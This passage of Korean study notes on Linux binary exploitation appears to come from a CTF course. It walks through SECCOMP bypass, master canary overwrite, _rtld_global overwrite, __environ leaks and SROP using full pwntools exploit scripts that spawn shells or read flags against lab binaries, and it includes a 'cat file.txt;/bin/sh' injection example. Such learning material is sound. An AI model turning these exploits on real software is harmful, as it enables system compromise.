      p.sendlineafter(b'Edit\n', b'1')
      p.sendlineafter(b'Size:', b'80')
      p.sendafter(b'Content:', p64(libc_base + GADGET))
      print('gadget:', hex(libc_base + GADGET))
      # tcache: (*) -> ... 
      # --------------------------
      
      # call free (contaminated)
      p.sendlineafter(b'Edit\n', b'2')
      
      p.interactive()
      

Logical Error

  • OS 나 컴파일러의 구조적 취약점 뿐 아니라 개발자의 실수에 의한 취약점도 exploit 에 사용될 수 있다.

Type Error

  • 변수에 담게 될 값의 크기, 용도, 부호 여부를 고려하지 않고 정의된 변수에 의해 의도치 않은 동작을 유발하는 에러
  • out of range : 변수에 담을 수 있는 범위를 벗어나는 값을 저장하여 값이 잘리거나 부호가 반전되는 현상
    • overflow : 값이 잘려서 예상 값보다 커지는 현상 (unsigned char 에 256 대입)
    • underflow : 표현할 수 없는 값을 변수에 대입하여 예상 값보다 작아지는 현상 (unsigned int 에 -1 대입)

Command Injection

  • C 언어에서 system 함수를 사용하여 커널 명령어를 호출하도록 프로그래밍을 수행할 수 있다.
    • system 함수는 execve 시스템 콜을 호출하게 된다.
  • Metacharacter 를 이용해 특정 명령어 이후 “/bin/sh” 를 명령어로 입력하게 되면 쉘 권한을 탈취 당하게 된다.
    • ex) system("cat file.txt;/bin/sh"): 의도한 동작은 cat file.txt 까지지만, /bih/sh 를 추가로 호출하였다.

Path Traversal

  • 허용되지 않은 경로에 사용자가 접근할 수 있는 취약점
  • 임의의 파일을 읽고/쓰고/실행 시킬 수 있는 위험이 있다.
  • 프로그램에서 의도하지 않은 절대경로, 상대경로 상으로 접근이 불가능하도록 로직상 제약이 필요하다.

Bypass SECCOMP

  • mmap 을 이용하여 입력으로 받은 함수를 실행하도록 구현된 코드에서 exploit 을 위한 코드를 침투시킬 수 있으나, SECCOMP 기법으로 시스템콜을 차단함으로서 이를 방어할 수 있다.
    • mmap 코드 예시
      void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
      void (*sc)() = (void *)shellcode;
      sc();
      
  • SECCOMP는 특정 시스템 콜을 허용하거나 차단하여 의도하지 않은 시스템 콜의 호출을 막는 방어 기법이다. 하지만 시스템의 지속적인 개발에 의해 유사한 역할을 하는 다른 시스템콜들이 계속 생겨나고 있다.
    • 예를들어 open 과 openat 은 동일한 역할을 수행하며, open을 차단한 프로그램이 openat을 차단하지 않았다면 이를 이용한 해킹이 가능하다.
    • 하지만, 시스템 콜 간에도 의존성이 있기 때문에 의존성이 있는 시스템 콜이 차단된 경우에는 우회가 불가능 될 가능성이 크다.
    • 반대로 특정 라이브러리 함수에 의존하는 함수를 SECCOMP 설정으로 허용 해 놓는다면, 그 함수 또한 허용 되어 있음을 암시적으로 알 수 있다.
      • execve 함수는 내부적으로 openat 함수를 호출하고 있다.
    • open, read, write 는 타 시스템 콜의 영향을 받지 않고 실행할 수 있는 함수이다.

exploit 예시

  • open 함수를 막는 형태의 소스코드가 있을 떄, openat 를 사용하여 파일을 탈취하는 공격 방식이다.
    • 코드 일부: seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
    • 단, openat은 첫 번째 인자를 AT_FDCWD 로 설정해야 open과 동일한 효과를 낸다.
      • openat 은 첫 번쨰 인자로 받은 file descriptor 에 해당하는 디렉터리에서 부터 상대 주소를 검색한다. 첫 번쨰 인자로 AT_FDCWD 를 입력하면 현재 작업 디렉터리를 기준으로 상대 주소를 검색하게 된다.
#!/usr/bin/env python3

from pwn import *

context.arch = 'x86_64' # 아키텍처 설정
# p = process('./bypass_seccomp')

data = shellcraft.openat('AT_FDCWD', "./flag") # AT_FDCWD 옵션을 넣어 현재 경로부터 상대 경로를 검색하도록 설정
data += 'mov r10, 0xffff' # r10은 sendfile 호출시 전달할 데이터의 양을 뜻한다.
data += shellcraft.sendfile(1, 'rax', 0).replace('xor r10d, r10d','')# sendfile 호출시 `xor r10d, r10d` 구문이 자동으로 들어가서 r10을 초기화하므로 이를 제거한다.
# data += shellcraft.exit(0)

# print(data)

data = asm(data)

# print(data)

p.sendlineafter(b"shellcode:", data)

p.interactive()

Master Canary

  • 앞서 SSP(Stack Smash Protector) 의 한 종류로 stack canary를 배웠고, canary는 TLS(Thread Local Storage) 의 데이터를 사용하여 만들어진다.

  • TLS 영역은 text, bss 영역과 달리 로더에서 생성하는 영역이다.

  • 로더에서 TLS 영역을 생성은 init_tls -> dl_allocate_tls_storage 함수에 의해 할당되고, arch_prctl 시스템 콜에서 ARCH_SET_FS 명령을 호출하여 FS segment registerTLS 영역을 가리키도록 초기화 한다.

  • 한 프로그램의 모든 Stack CanaryFS segment register 의 0x28 번지에 위치하는 값을 사용하는데, FS segment는 TLS 로 초기화 되므로, FS:0x28 의 값은 TLS:0x28 의 값이다.

    • gdb 에서 $fs_base 값은 FS segment register 를 의미한다. p/x $fs_base 명령으로 FS segment register 의 값을 확인 할 수 있다.
  • 때문에 “TLS 주소에 0x28 바이트 만큼 떨어진 주소에 위치한 값”(TLS:0x28) 을 Master Canary 라 부른다.

  • canary 는 시스템의 pointer 크기와 같은 크기를 가지며, 첫 byte는 NULL 이다.

    • _dl_setup_stack_chk_guard 함수에서 endian 에 따라 첫 byte를 NULL 로 설정한다.
    • THREAD_SET_STACK_GUARD 매크로에서 TLS + 0x28 위치에 canary 값을 삽입한다.
  • main thread 외 별도로 생성한 thread 에서 선언한 변수는 TLS 와 근접한 영역에 선언된다. 또한, 이 영역은 FS segment register 보다 낮은 주소에 위치하므로 master canary 의 값을 buffer overflow로 덮어 쓸 수 있다.

exploit 예시

  • 전제조건 : thread에 선언한 버퍼에 buffer overflow를 발생할 수 있다.
  • exploit 순서
    1. 디버깅을 통해 matser canary 와 버퍼 사이의 간격을 확인한다.
      • code 상에서 buffer 가 사용되는 부분을 어셈블리어에서 확인한다.
         // 원본 함수
         void thread_routine() {
           char buf[256];
           int size = 0;
           printf("Size: ");
           scanf("%d", &size);
           printf("Data: ");
           read_bytes(buf, size);
         }
         // disass 결과
         0x0000000000401347 <+52>:    call   0x4010f0 <printf@plt>
         0x000000000040134c <+57>:    lea    rax,[rbp-0x114]
         0x0000000000401353 <+64>:    mov    rsi,rax
         0x0000000000401356 <+67>:    lea    rdi,[rip+0xcb6]        # 0x402013
         0x000000000040135d <+74>:    mov    eax,0x0
         0x0000000000401362 <+79>:    call   0x401150 <__isoc99_scanf@plt>
         0x0000000000401367 <+84>:    lea    rdi,[rip+0xca8]        # 0x402016
         0x000000000040136e <+91>:    mov    eax,0x0
         0x0000000000401373 <+96>:    call   0x4010f0 <printf@plt>
         0x0000000000401378 <+101>:   mov    edx,DWORD PTR [rbp-0x114]
         // read_bytes 에서 사용될 첫 번째 인자 'buf' 가 rax 에 적용 될 것이며, 이는 [rbp-0x110] 값이 대응된다.
         0x000000000040137e <+107>:   lea    rax,[rbp-0x110]
         0x0000000000401385 <+114>:   mov    esi,edx
         0x0000000000401387 <+116>:   mov    rdi,rax
         0x000000000040138a <+119>:   call   0x4012be <read_bytes>
      
    2. gdb 에서 thread_routine 함수까지 실행시킨 다음 $fs_base + 0x28 위치(canary가 저장된 FS segment register)의 주를 확인하고, overflow 가능한 버퍼와 거리를 측정한다.
    pwndbg> p/x ($rbp - 0x110)
    $1 = 0x7ffff7da3de0
    pwndbg> p/x ($fs_base + 0x28)
    $2 = 0x7ffff7da4728
    pwndbg> p/x 0x7ffff7da4728 - 0x7ffff7da3de0
    $3 = 0x948
    
    1. 버퍼에서 부터 canary까지(rbp - 0x110 ~ $fs_base + 0x28 + 0x8) 임의의 값(‘AAAA…’)으로 채워넣게 되면 SIGSEGV 에 의한 core dump가 발생할 수 있다.
    • Coredump 확인 방법
    • stack 에서 버퍼 다음에는 다른 지역변수 값이 있을 텐데, 이를 모두 ‘AAAA…’ 로 채울 경우 변수 참조시 에러가 발생할 수 있다.
    • thread 생성시 호출되는 __pthread_disable_asynccancel 함수에서 struct pthread *self = THREAD_SELF; 지역변수를 생성하고, self->canceltype = PTHREAD_CANCEL_DEFERRED 구문을 호출한다.
    • self->canceltype의 주소가 ‘AAAA…’ 로 덮어써지면 segment fault 가 발생한다.
      • gdb 명령어로 p &((struct pthread *) $fs_base)->header.self 를 입력하여 이 값을 확인할 수 있다.
      • THREAD_SELF 는 스레드의 Thread Descriptor을 가리키는 매크로이다.
    • 버퍼로부터 ($fs_base)->header.self->canceltype 위치까지의 거리를 계산하고, self->canceltype 이 rw 권한이 있는 곳을 가리키도록 버퍼에 적당한 값을 집어넣는다.
      • disass 결과에 의하면 __pthread_disable_asynccancel 함수의 어셈블리 코드 mov byte ptr [rax + 0x972], 0 구문이 canceltype 을 대입하는 부분이고, 이떄 rax 는 fs 값이 채워져 있다.
      • 즉, “버퍼에서 self 까지의 거리” + 0x972 가 self->canceltype 의 주소이다.
    1. vmmap 명령어로 실행파일을 분석하여 rw 권한이 모두 존재하는 영역의 주소를 찾는다.
    • 프로그램 실행에 최대한 영향을 주지 않게 하기 위해 주소의 중간 영역을 임의로 골라 self->canceltype 의 주소값이 rw 권한을 가질 수 있게 버퍼를 조정한다.
      • ex)
        # payload 가 (rbp - 0x110) ~ ($fs_base + 0x28) 영역을 덮어쓰도록 구성한다.
        payload = b'A'*0x910  # buffer ~ self 까지 거리
        payload += p64(0x404800 - 0x972)  # self->canceltype 에 들어갈 주소 (rw권한 존재)
        payload += b'C' * 0x10  # 남는영역 마저 채우기 ()
        payload += p64(0x4141414141414141)  # master canary 영역
        
    1. return 주소에 exploit 을 위한 함수가 호출되도록 변경
    • ex)
      p = process('./mc_thread2')
      elf = ELF('./mc_thread')
      payload = b'A' * 264  # buffer ~ 지역변수 영역
      payload += b'A' * 8 # canary
      payload += b'B' * 8 # SFP
      payload += p64(elf.symbols['giveshell'])  # return address (exploit 을 위한 함수로 변경)
      payload += b'C' * (0x910 - len(payload))  # master canary 영역을 변조시키기 위한 dummy
      payload += p64(0x404800 - 0x972)  # self->canceltype 를 적용 할 때 발생하는 SIGSEGV 를 없애기 위한 처리
      payload += b'C' * 0x10  # 나머지 영역 dummy 로 채우기
      payload += p64(0x4141414141414141) # master canary 변조
      p.sendafter(b'Data: ', payload)
      p.interactive()
      

Overwrite _rtld_global

  • glibc 라이브러리를 포함하여 컴파일 한 프로그램은 실행시 __libc_start_main 가 호출된다.
    • __libc_start_mainmain 함수를 호출한다.
    • main함수가 종료되면 __GI_exit 함수가 호출된다.
    • __GI_exit 함수는 __run_exit_handlers 함수를 호출한다.
    • __run_exit_handlers 함수에서는 exit_function 구조체의 fns 인자를 호출하는데, 이는 _dl_fini 를 호출하게 되어있다.
    • _dl_fini 함수는 _dl_load_lock 을 인자로 dl_rtld_lock_recursive 함수를 호출한다.
      • _dl_load_lock _rtld_global 구조체의 멤버 변수이다.
      • dl_rtld_lock_recursive 함수도 _rtld_global 구조체의 멤버 변수이다.
      • glibc 2.27 기준, _rtld_global 구조체의 dl_rtld_lock_recursive 포인터 가 저장된 메모리는 읽기/쓰기 권한이 모두 부여되어 있기 때문에 이 함수를 덮어써서 exploit 을 수행 할 수 있다.
      • 쓰기 권한을 부여한 이유는 dl_main 함수에서 _rtld_global 구조체의 dl_rtld_lock_recursive 영역을 초기화 할 수 있게 하기 위함이었다.
  • _rtld_global 구조체의 주소를 확인하고, _dl_load_lockdl_rtld_lock_recursive 의 포인터를 덮어 써서 exploit 을 할 수 있다.

exploit 예시

  • 전제조건 :
    • 실행중 라이브러리 함수 혹은 변수의 주소를 획득 할 수 있어야 한다.
      • (예시 코드에서는 stdout 코드를 일부러 출력 해 준다.)
      • ex) printf("stdout: %p\n", stdout);
    • 특정 주소에 데이터를 주입하는 구문이 존재한다.
      • ex)
        printf("addr: ");
        scanf("%ld", &addr);  // 주소 입력
        printf("data: ");
        scanf("%ld", &data);  // 데이터 팁력
        *(long long *)addr = data;  // 주소가 가리키는 값에 데이터 저장
        
  • exploit 방법 :
    1. exploit 대상 시스템이 사용하는 라이브러리 파일을 준비한다.

      • ldd 명령으로 라이브러리 의존성을 확인한다.
         linux-vdso.so.1 (0x00007fff96777000)
         libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcdb0aa5000)
         /lib64/ld-linux-x86-64.so.2 (0x00007fcdb1098000)
        
      • patchelf 도구를 사용하여 ld 및 libc 라이브러리 의존성을 변경한다.
        • patchelf --set-interpreter {라이브러리} {실행파일} 명령으로 실행파일에 적용될 라이브러리를 변경 가능하다. (ld 라이브러리 적용)
      • export LD_PRELOAD=$(realpath {라이브러리_파일}) 명령으로 라이브러리 파일의 참조 위치도 변경한다. (libc 라이브러리 적용)
    2. 실행 파일에서 libc 라이브러리의 offset을 구한다.

      • 코드에서 stdout 을 호출했으므로, libc 파일이 로드 되었을 것이다.
      • .bss 영역에 libc 영역이 포함되고, gdb 에서 vmmap 명령으로 libc* 형태의 파일이 처음 시작하는 offset을 추출할 수 있다.
        0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000      0 /lib/x86_64-linux-gnu/libc-2.27.so
        
    3. ld 라이브러리의 base offset을 구한다.

      • 마찬가지로 gdb 에서 vmmap 명령으로 ld* 파일의 시작 offset을 찾는다.
        0x7ffff7dd5000     0x7ffff7dfc000 r-xp    27000      0 /volume/pwn/lecture/rtld_global/ld-2.27.so
        
    4. _rtld_global 구조체 멤버들의 offset을 확인한다.

      • libc 라이브러리 파일을 실행시켜서 버전을 확인한다.
         $ ./libc-2.27.so
         GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
         Copyright (C) 2018 Free Software Foundation, Inc.
         This is free software; see the source for copying conditions.
         There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
         PARTICULAR PURPOSE.
         Compiled by GNU CC version 7.3.0.
         libc ABIs: UNIQUE IFUNC
         For bug reporting instructions, please see:
         <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
        
        • “2.27-3ubuntu1” 구문이 libc 의 상세 버전인데, 해당 버전의 debug package 를 획득항혀야 한다.
        • 구글에 검색하여 획득 하면 된다. (https://launchpad.net/ubuntu/bionic/amd64/libc6-dbg/2.27-3ubuntu1) or (http://launchpadlibrarian.net/365856914/libc6-dbg_2.27-3ubuntu1_amd64.deb)
        • 획득한 .deb 파일을 dpkg -x 명령으로 압축을 해제한 후, 압축 해제된 usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so 파일을 gdb로 실행한다.
        • _rtld_global 구조체의 멤버 변수 _dl_load_lock, _dl_rtld_lock_recursive 가 필요하므로 아래와 같이 두 변수의 주소를 확인한다.
          pwndbg>  p &_rtld_global._dl_load_lock
          $1 = (__rtld_lock_recursive_t *) 0x228968 <_rtld_local+2312>
          pwndbg> p &_rtld_global._dl_rtld_lock_recursive
          $2 = (void (**)(void *)) 0x228f60 <_rtld_local+3840>
          
    5. exploit 코드를 작성한다.

      • libc_base 의 offset 을 구한다. libc 파일의 ELF에서 _IO_2_1_stdout_ 심볼로 획득 가능하다.
      • libc_base 와 ld_base 의 offset 차이를 이용해 ld_base의 주소를 구한다.
        • 2,3번 과정에서 구한 주소를 서로 빼서 간격을 구한다. (예시에서는 0x3f1000 만큼 차이가 난다.)
      • _rtld_global 의 주소를 구한다. ld 파일의 ELF에서 _rtld_global 심볼로 offset 을 획득하고, ld_base 주소를 더해 _rtld_global 의 실제 주소를 구한다.
      • 4에서 구한 _rtld_global 구조체의 멤버변수 _dl_load_lock, _dl_rtld_lock_recursive 의 offset 을 _rtld_global 주소에 더해 각 변수가 메모리에 적재된 주소를 구한다.
      • exploit 을 위해 _dl_rtld_lock_recursive 변수를 libc 라이브러리의 system 함수로 덮어쓰고, dl_load_lock 를 “sh” 로 치환한다.
        • 앞서 Overwrite _rtld_global 에서 살펴보았듯, main 함수가 종료될 때 _dl_rtld_lock_recursive(dl_load_lock) 형태로 함수가 호출되는 점을 이용한 것
  • 최종 코드
    #!/usr/bin/env python3
    from pwn import *
    
    p = process('./ow_rtld', env= {"LD_PRELOAD" : "./libc-2.27.so"}) # {"LD_LIBRARY_PATH" : "."} 구문으로도 가능
    libc = ELF('./libc-2.27.so')
    ld = ELF('./ld-2.27.so')
    
    # gdb를 통해 획득한 정보
    LIBC_BASE_OFFSET = 0x3f1000
    DL_LOAD_LOCK_OFFSET_FROM_RTLD_GLOBAL = 2312
    DL_RTLD_LOCK_RECURSIVE_OFFSET_FROM_RTLD_GLOBAL = 3840
    
    # exploit 코드
    p.recvuntil(b': ')
    stdout = int(p.recvuntil(b'\n'), 16)  # stdout 변수의 주소 획득
    libc_base = stdout - libc.symbols['_IO_2_1_stdout_']  # libc_base 주소 획득
    ld_base = libc_base + 0x3f1000  # ld_base 주소 계산
    print('libc_base:', hex(libc_base))
    print('ld_base:', hex(ld_base))
    rtld_global = ld_base + ld.symbols['_rtld_global']  # _rtld_global 주소 획득
    dl_load_lock = rtld_global + DL_LOAD_LOCK_OFFSET_FROM_RTLD_GLOBAL  # _dl_load_lock 주소 계산
    dl_rtld_lock_recursive = rtld_global + DL_RTLD_LOCK_RECURSIVE_OFFSET_FROM_RTLD_GLOBAL  # _dl_rtld_lock_recursive  주소 >계산
    print('rtld_global:', hex(rtld_global))
    print('dl_load_lock:', hex(dl_load_lock))
    print('dl_rtld_lock_recursive:', hex(dl_rtld_lock_recursive))
    
    system = libc_base + libc.symbols['system']  # system 함수의 주소 획득
    print('system:', hex(system))
    # _dl_rtld_lock_recursive 주소에 system 함수 덮어쓰기
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive).encode())
    p.sendlineafter(b'data: ', str(system).encode())
    # dl_load_lock 주소에 "/bin/sh" 문자열 덮어쓰기
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'addr: ', str(dl_load_lock).encode())
    p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')).encode())
    
    # main 함수 종료
    p.sendlineafter(b'> ', b'2')
    
    p.interactive()
    

__environ

  • 환경변수는 동적인 값들의 모임으로 시스템의 동작에 관한 정보를 저장하는 변수이다.
    • 환경변수는 사용자에 의해 수정 및 삭제가 가능하다.
    • 프로그램도 실행 시 환경변수를 참조한다. 프로그램을 실행시키면 스택 영역에 환경변수 정보가 탑재된다.
    • 라이브러리 함수도 스택 영역의 환경변수를 참조하기 때문에, 이를 이용하면 환경변수가 존재하는 스택 영역의 주소를 추출 할 수 있다.
      • execve, getenv 등의 함수가 환경변수를 참조한다.
      • libc.so 파일의 elf 를 분석하면 __environ 이라는 변수가 존재한다.
        $ readelf -s ./libc.so.6 | grep "environ"
        133: 0000000000221200     8 OBJECT  WEAK   DEFAULT   35 _environ@@GLIBC_2.2.5
        724: 0000000000221200     8 OBJECT  GLOBAL DEFAULT   35 __environ@@GLIBC_2.2.5
        958: 0000000000221200     8 OBJECT  WEAK   DEFAULT   35 environ@@GLIBC_2.2.5
        
      • gdb 에서 __environ 변수를 확인 해 보면 stack 영역에 자리잡고 있음을 알 수 있다.
        pwndbg> x/g __environ
        0x7fffffffe6c8: 0x00007fffffffe8cb
        pwndbg> vmmap 0x00007fffffffe6c8
        LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
                 Start                End Perm     Size Offset File
        0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack] +0x206c8
        

exploit 예시

  • 전제조건:

    • stdout 변수의 주소값을 알 수 있다. (예시에서는 일부러 출력해 줌)
    • 탈취할 파일을 프로그램에서 읽어서 버퍼에 저장한다.
    • 임의 주소 읽기 취약점이 존재한다.
      scanf("%ld", &addr);
      printf("%s", (char *)addr);
      
      -> 임의 주소 읽기로 정보 탈취 가능
  • exploit 방법:

    1. libc_base 의 주소를 계산한다.

      • stdout 포인터의 주소값과 offset 값을 비교하여 libc_base 의 주소값을 구한다.
    2. __environ 변수의 주소값을 구한다.

      • libc_base 주소값에서 __environ 변수의 offset 을 더하여 구한다.
    3. 탈취할 데이터가 저장된 주소를 계산한다.

      • 프로그램에서 read 함수를 이용해 데이터를 읽어 오므로, read 함수 호출시 RCX 레지스터의 주소를 확인하면 데이터가 저장되는 값의 주소를 알 수 있다.
      • gdb 를 통해 read 함수 호출 당시 RCX 레지스터의 주소를 확인하고, 이를 __environ 변수의 주소와 비교하여 offset 을 구한다.
          0x555555400a21 <read_file+43>    call   open@plt                <open@plt>
        
          0x555555400a26 <read_file+48>    mov    dword ptr [rbp - 0x1014], eax
          0x555555400a2c <read_file+54>    lea    rcx, [rbp - 0x1010]
        ► 0x555555400a33 <read_file+61>    mov    eax, dword ptr [rbp - 0x1014]
          0x555555400a39 <read_file+67>    mov    edx, 0xfff
          0x555555400a3e <read_file+72>    mov    rsi, rcx
          0x555555400a41 <read_file+75>    mov    edi, eax
          0x555555400a43 <read_file+77>    call   read@plt                <read@plt>
          ...
          pwndbg> x/g $rcx
          0x7fffffffd190: 0
          pwndbg> x/g $rcx
          0x7fffffffd190: 0
          pwndbg> p/x 0x7fffffffe6c8 - 0x7fffffffd190
          $1 = 0x1538
        
        • 예시에서는 offset 이 0x1538이다.
    4. 추출한 주소에 저장된 값을 임의 주소 읽기 취약점으로 획득한다.

  • 전체 코드

    #!/usr/bin/env python3
    from pwn import *
    
    p = process('./environ')
    elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    # GDB를 통해 확인한 정보
    OFFSET_FROM_ENVIRON_TO_BUFFER = 0x1538
    
    p.recvuntil(b'stdout: ')
    stdout = int(p.recvuntil(b'\n'), 16)  # stdout 주소 획득(편의를 위해 예시에서 제공)
    libc_base = stdout - elf.symbols['_IO_2_1_stdout_']  # libc_base 주소 계산
    libc_environ = libc_base + elf.symbols['__environ']  # __environ 변수 주소 계산
    print('libc_base:', hex(libc_base))
    print('libc_environ:', hex(libc_environ))
    
    # 임의 주소 읽기를 위한 값 입력
    p.sendlineafter(b'> ', b'1')
    print('encoded libc_environ:', str(libc_environ).encode())
    p.sendlineafter(b'Addr: ', str(libc_environ).encode())  # __environ 변수가 가리키는 값 출력 유도
    
    stack_environ = p.recv(6)
    print('raw stack_environ:', stack_environ)
    stack_environ = u64(stack_environ.ljust(8, b'\x00'))  # printf("%s", (char *)addr); 에서 전달된 값 파>싱
    # stack_environ 은 __environ 변수가 가리키는 stack 의 주소
    print('stack_environ:', hex(stack_environ))
    
    file_content = stack_environ - OFFSET_FROM_ENVIRON_TO_BUFFER  # 데이터가 저장된 stack 주소 계산
    print('file_content:', hex(file_content))
    # 임의 주소 읽기를 위한 값 입력
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b':', str(file_content).encode())  # 최종적으로 원하는 값 획득
    
    p.interactive()
    

SigReturn-Oriented Programming (SROP)

  • 운영체제는 User ModeKernel Mode 가 존재하고, 각 모드에서 수행할 수 있는 동작의 제약이 다르다.

  • 시그널이 발생하면 시그널에 해당하는 코드가 Kernel Mode 에서 실행되고, 다시 Usesr Mode 로 시스템의 흐름이 전환된다.

  • Kernel Mode 에서 User Mode 로 전환되기 위해서는 Signal 이 발생한 시점의 프로그램 정보(레지스터, 메모리, 등) 가 기록되어야 한다.

  • Signal 이 발생하면 arch_do_signal_or_restart 함수가 호출된다. 함수 이름은 Linux 버전에 따라 상이할 수 있다.

    • do_signal(Linux 5.8 이하)
    • arch_do_signal(Linux 5.10 이하)
    • arch_do_signal_or_restart(Linux 5.10 초과)
  • arch_do_signal_or_restart 함수는 get_signal 을 호춣하고, signal handler 가 등록되어 있다면 handle_signal -> setup_rt_frame -> signal_setup_done 을 차례로 호출한다.

    • setup_rt_frame 함수는 setup_rt_frame(ksig, regs) 형태로 호출되는데, regs->si, regs->dx, regs->ip, regs->sp 에 알맞은 값을 집어넣어 등록한 signal handler 함수가 호출될 수 있도록 설정한다.
  • Kernel Mode 에서 User Mode 로 context switching 을 하기 위해서는 signal을 처리하기 전에 sigreturn 시스템 콜을 호출하여 당시 프로그램 정보를 기록한다.

  • sigreturn 이 호출되면 restore_sigcontext 함수에서 현재 스택의 값을 레지스터에 복제한다. 이렇게 기록된 값을 사용하여 signal 발생 직전의 상태로 context switching 을 수행할 수 있다.

    • sigcontext 구조체에 있는 각 멤머 변수에 데이터를 삽입하는데, 이는 레지스터에 데이터를 집어넣는 것이라 보면 된다.
  • SROP 란, 위에서 설명한 sigreturn 시스템 콜을 사용한 ROP (Return Oriented Programming) 기법으로, 스택에 임의의 값을 미리 채워놓고, sigreturn 호출을 유도한 이후 User Mode 로 context switching 될 때 원하는 함수가 실행되도록 하는 exploit 방법이다.

exploit 예시

  1. buffer overflow를 이용하여 sigreturn 이 호출되도록 gadget 을 주입한다.

    • sigreturn 시스템콜은 15번 system call 이기 때문에, stack overflow 를 발생시켜 RIP 레지스터에 pop rax; syscall; ret 가젯을 집어넣고, RAX 레지스터를 15 로 변경하면, 함수 stack 이 종료될 때 sigreturn 시스템 콜이 호출된다.
  2. “/bin/bash” 문자열을 주입하기 위해 sigreturn 으로 read(0, bss, 0x1000) 를 먼저 호출한다.

  3. bss 에 저장된 데이터를 활용하여 sigreturn를 한번 더 호출해 execve("/bin/bash") 구문이 실행되도록 한다.

  • 전체 코드
    from pwn import *
    context.terminal = ['tmux', 'splitw', '-h']
    context.arch = 'x86_64'
    p = process('srop')
    elf = ELF('./srop')
    
    gadget = next(elf.search(asm('pop rax; syscall')))  # 코드상에 있는 내용 사용한 것
    print('gadget:', hex(gadget))
    payload = b'A'*16  # BUFFER overflow
    payload += b'B'*8  # SFP
    payload += p64(gadget)  # return address
    payload += p64(15) # sigreturn, pop rax 동작으로 rax에 채워질 값
    
    # read(0, bss, 0x1000)  에 해당하는 gadget 생성, 충분한 길이를 위해 0x1000 byte read
    # read를 한번 더 수행해서 "/bin/bash" string 을 bss 영역에 입력하기 위해 gadget 세팅
    bss = elf.bss()
    syscall = next(elf.search(asm('syscall')))
    frame = SigreturnFrame()
    frame.rdi = 0        # argv1
    frame.rsi = bss      # argv2
    frame.rdx = 0x1000   # argv3
    frame.rax = 0        # SYS_read
    frame.rip = syscall  # syscall 명령어 실행
    frame.rsp = bss      # stack 주소를 bss 위치로 변경
    
    payload += bytes(frame)  # sigcontext 값 주입
    
    p.sendline(payload)  # overflow 유발
    
    # execve('/bin/sh', 0, 0) 에 해당하는 gadget 생성
    frame2 = SigreturnFrame()
    # frame2.rdi = bss + ?  # argv1, '/bin/sh' 가 담긴 위치를 넣어야 한다.
    # rsi, rdx는 default 로 0
    frame2.rip = syscall  # syscall 명령어 실행
    frame2.rax = 0x3b # execve 번호
    frame2.rsp = bss + 0x500  # 충분한 버퍼를 두고 stack의 top을 bss 위치로 이동
    
    rop = p64(gadget)  # sigreturn 호출하기 위한 gadget
    rop += p64(15)  # RAX로 pop 될 위치에 sigreturn 번호 주입
    
    frame2.rdi = bss + len(frame2) + len(rop)  # bss + 0x108, argv1, '/bin/sh' 가 담긴 위치.
    
    print('rdi:', bss, '+', len(frame2) + len(rop))
    rop += bytes(frame2)  # sigcontext 값 주입
    rop += b'/bin/sh\x00'
    
    p.sendline(rop)  # 호출된 reaed(0, bss, 0x1000) 함수에 의한 입력값 입력
    
    p.interactive()
    

_IO_FILE

  • fopen 으로 파일을 열면 파일의 모드(read, write, …), 파일 작업을 위한 함수의 주소 등을 파일 포인터(FILE *)로 전달받는다.
  • 표준 라이브러리의 FILE 구조체는 은 typedef struct IO_FILE FILE 구문에 의해 정의된 것이며, 리눅스에서 fopen 함수를 호출하면 힙 영역에 _IO_FILE 구조체가 할당된다.
    • _IO_FILE 구조체 형태
      struct _IO_FILE
      {
        int _flags;		/* 파일에 대한 읽기/쓰기/추가 권한. 0xfbad0000 값(_IO_MAGIC)을 매직 값으로, 하위 2바이트는 비트 플래그로 사용 */ 
        char *_IO_read_ptr;	/* 파일 읽기 버퍼 포인터 */
        char *_IO_read_end;	/* 파일 읽기 버퍼 주소의 끝 포인터 */
        char *_IO_read_base;	/* 파일 읽기 버퍼 주소의 시작 포인터 */
        char *_IO_write_base;	/* 파일 쓰기 버퍼에 대한 시작 포인터 */
        char *_IO_write_ptr;	/* 파일 쓰기 버퍼 포인터 */
        char *_IO_write_end;	/* 파일 쓰기 버퍼 주소의 끝 포인터 */
        char *_IO_buf_base;	/* Start of reserve area */
        char *_IO_buf_end;	/* End of reserve area. */
        /* The following fields are used to support backing up and undo. */
        char *_IO_save_base; /* Pointer to start of non-current get area. */
        char *_IO_backup_base;  /* Pointer to first valid character of backup area */
        char *_IO_save_end; /* Pointer to end of non-current get area. */
        struct _IO_marker *_markers;
        struct _IO_FILE *_chain;
        int _fileno;  /* 파일 디스크립터 값 */
        int _flags2;
        __off_t _old_offset; /* This used to be _offset but it's too small.  */
        /* 1+column number of pbase(); 0 is unknown. */
        unsigned short _cur_column;
        signed char _vtable_offset;
        char _shortbuf[1];
        _IO_lock_t *_lock;
        /* _IO_USE_OLD_IO_FILE 가 정의되어있다면 여기까지만 사용 */
        __off64_t _offset;
        /* Wide character stream stuff.  */
        struct _IO_codecvt *_codecvt;
        struct _IO_wide_data *_wide_data;
        struct _IO_FILE *_freeres_list;
        void *_freeres_buf;
        size_t __pad5;
        int _mode;
        /* Make sure we don't get into trouble again.  */
        char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
      
      };
      
  • fopen 함수를 호출하면 _IO_new_file_fopen 에서 mode 인자의 값이 ‘r’, ‘w’, ‘a’ 중 어느 것인지 확인하고 flag 에 비트를 할당한다.
    • flag 종류
      #define _IO_MAGIC         0xFBAD0000 /* Magic number */
      #define _IO_MAGIC_MASK    0xFFFF0000
      #define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
      #define _IO_UNBUFFERED        0x0002
